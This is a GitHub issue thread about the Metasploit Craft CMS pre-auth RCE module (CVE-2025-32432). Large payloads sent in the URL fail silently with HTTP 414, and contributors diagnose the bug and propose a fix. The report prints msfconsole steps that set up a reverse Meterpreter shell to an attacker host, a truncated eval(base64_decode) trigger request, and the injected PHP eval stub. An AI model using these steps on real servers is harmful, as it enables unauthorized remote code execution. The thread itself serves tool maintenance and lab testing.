metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

craftcms_preauth_rce_cve_2025_32432: payloads over about 8 KB fail silently (HTTP 414, payload is sent in the URL)

Open pwolbrycht opened this issue 3 weeks ago • 3 comments

Steps to reproduce

  1. Target: the HackTheBox machine "Orion", which runs a Craft CMS version vulnerable to CVE-2025-32432. Any vulnerable Craft CMS behind nginx or Apache with default request line limits should behave the same.
  2. Start msfconsole and run:
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS orion.htb
set LHOST <attacker ip>
set target 0
set payload php/meterpreter_reverse_tcp
set HttpTrace true
set HttpTraceHeadersOnly true
exploit
  1. The module leaks the session path, reports the target as vulnerable, injects its stub, sends the trigger request and ends with "Exploit completed, but no session was created."

Environment:

  • Victim: Ubuntu 22.04, nginx 1.18.0, PHP 8.2.30, Craft CMS (X-Powered-By: Craft CMS)
  • Attacker: Kali Linux, package metasploit-framework 6.5.7-0kali1
  • The same module works against the same target with a small payload (target 1 with cmd/linux/http/x64/meterpreter_reverse_tcp opens a session on the first try), so the target is exploitable and the handler is reachable.

Were you following a specific guide/tutorial or reading documentation?

Yes, the official HackTheBox writeup for Orion (a PDF on the machine page, not publicly linkable). It uses this module with its default payload, the staged php/meterpreter/reverse_tcp, and shows a working session from March 2026. That default currently fails because of #22066 (fixed in metasploit-payloads 2.0.259, which no framework release pins yet), so the stageless php/meterpreter_reverse_tcp is the obvious fallback, and that is where this issue appears.

The module documentation (https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md) does not mention a payload size limit.

Expected behavior

Either the payload is delivered, or the module refuses a payload it cannot deliver and says why (payload too large for this delivery method).

Current behavior

The trigger request is rejected by the web server with HTTP 414. The module does not report that, and the only output is:

[*] Injecting stub & triggering payload...
[*] Exploit completed, but no session was created.

The 414 is only visible with HttpTrace (request line shortened here, cookie and token values removed):

####################
# Request:
####################
POST /index.php?p=actions/assets/generate-transform&TxdOv6Cc=eval%28base64_decode%28%27Lyo8P3BocCAvKiovIGlmICgh ... [request line is 85,448 bytes in total] ... %27%29%29%3b HTTP/1.1
Host: orion.htb
Cookie: CRAFT_CSRF_TOKEN=<removed>; CraftSessionId=<removed>
X-CSRF-Token: <removed>
Content-Type: application/json
Content-Length: 236

####################
# Response:
####################
HTTP/1.1 414 Request-URI Too Large
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Content-Length: 186
Connection: close

Cause

The stub the module plants in the session file is <?=eval($_GET['<param>']);die()?>, so execute_via_session sends the whole payload in the query string of the trigger request:

send_request_cgi(
  'method' => 'POST',
  'uri' => normalize_uri(target_uri.path, 'index.php'),
  'vars_get' => {
    'p' => 'actions/assets/generate-transform',
    param_name => payload
  },

exploit wraps the payload as eval(base64_decode('...')); first. For the stageless PHP Meterpreter that is 63,976 bytes of payload and 85,328 characters after the wrapper. nginx (large_client_header_buffers 4 8k) and Apache (LimitRequestLine 8190) both stop at about 8 KB by default, so only payloads up to roughly 6 KB raw can work. The default php/meterpreter/reverse_tcp stager (1.1 KB) and the fetch payloads fit. Any larger payload fails this way.

exploit ignores the return value of execute_via_session, so the response to the trigger request is never checked. That is why the 414 does not surface.

Possible fixes

In rising order of effort:

  • Declare a payload size limit ('Payload' => { 'Space' => ... }) so oversized payloads are rejected or not offered.
  • Check the trigger response and fail_with a clear message on 414 (or any unexpected status).
  • Deliver the payload outside the request line, for example in the request body with a stub that reads it from there.

Metasploit version

Framework: 6.5.7-dev
Console  : 6.5.7-dev

Kali package metasploit-framework 6.5.7-0kali1. The module file is identical to the one on master as of 2026-11-14.

Additional Information

debug output from a fresh msfconsole on the same install. The session in which the 414 occurred was already closed, so the datastore, history and log sections are empty here. The module options used are the ones listed under "Steps to reproduce".

Module/Datastore

The following global/module datastore, and database setup was configured before the issue occurred:

Collapse
[framework/core]
ConsoleLogging=false
LogLevel=0
MinimumRank=manual
SessionLogging=false
TimestampOutput=false
VERBOSE=false
Prompt=
PromptChar=
PromptTimeFormat=
MeterpreterPrompt=
SessionTlvLogging=

Database Configuration

The database contains the following information:

Collapse
Session Type:  selected, no connection

Framework Configuration

The features are configured as follows:

Collapse
name enabled
wrapped_tables true
fully_interactive_shells false
manager_commands false
metasploit_payload_warnings true
defer_module_loads true
skip_checksum_validation false
smb_session_type true
postgresql_session_type true
mysql_session_type true
mssql_session_type true
ldap_session_type true
show_successful_logins false
dns true
hierarchical_search_table true
display_module_action true

History

The following commands were ran during the session and before this issue occurred:

Collapse

Framework Errors

The following framework errors occurred before the issue occurred:

Collapse
No matching patterns were found in framework.log.

Web Service Errors

The following web service errors occurred before the issue occurred:

Collapse
msf-ws.log does not exist.

Framework Logs

The following framework logs were recorded before the issue occurred:

Collapse

Web Service Logs

The following web service logs were recorded before the issue occurred:

Collapse
msf-ws.log does not exist.

Version/Install

The versions and install method of your Metasploit setup:

Collapse
Framework: 6.5.7-dev
Ruby: ruby 3.3.8 (2025-04-09 revision b200bad6cd) [x86_64-linux-gnu]
OpenSSL: OpenSSL 3.6.5 29 Sep 2026
Install Root: /usr/share/metasploit-framework
Session Type:  selected, no connection
Install Method: Other - Kali package (apt), metasploit-framework 6.5.7-0kali1

pwolbrycht avatar Nov 14 '26 22:11 pwolbrycht

Hi @pwolbrycht,

I'd like to work on this issue. I'll investigate the reported behaviour and work on a fix with appropriate regression tests.

Thanks for the detailed bug report!

I-am-Krish avatar Nov 16 '26 07:11 I-am-Krish

Quick progress update:

I've traced the trigger request through the Craft CMS module and Metasploit's HTTP request builder. The investigation confirms that the PHP payload is currently passed through vars_get, placing it in the URL query string, while the existing JSON gadget-chain data is sent separately in the request body.

I've also reproduced the reported HTTP 414 behaviour locally using Metasploit's actual request builder and an nginx Docker container. An 85 KB request-line payload resulted in 414 Request-URI Too Large.

As an initial investigation into a possible body-based delivery approach, I tested placing a synthetic 85 KB payload in an additional JSON property. This reduced the request line to 62 bytes while preserving valid JSON.

I'm currently investigating whether this approach is compatible with the Craft CMS gadget chain and how the injected PHP stub could retrieve the payload safely. The body-based request still needs further validation against the application, so I haven't made changes to the module yet.

I'll continue investigating and share the implementation and regression-test results once the approach is validated.

Thanks again for the detailed report!

I-am-Krish avatar Nov 16 '26 18:11 I-am-Krish

Hi @pwolbrycht,

I've opened [PR #22150] addressing the HTTP 414 handling described in this issue.

The change checks the trigger request's response and raises Failure::UnexpectedReply with an explanatory message when the server returns HTTP 414.

I've added regression tests covering HTTP 414, 200, 500, and nil responses. I also reproduced the oversized POST request rejection locally using Craft CMS 4.13.0 with Nginx-FPM, where an approximately 85 KB request URI returned HTTP 414.

The PR focuses on the diagnostic handling approach rather than changing the payload delivery mechanism. A full end-to-end Metasploit exploit run has not been performed yet.

Thanks again for the detailed report!

I-am-Krish avatar Nov 17 '26 10:11 I-am-Krish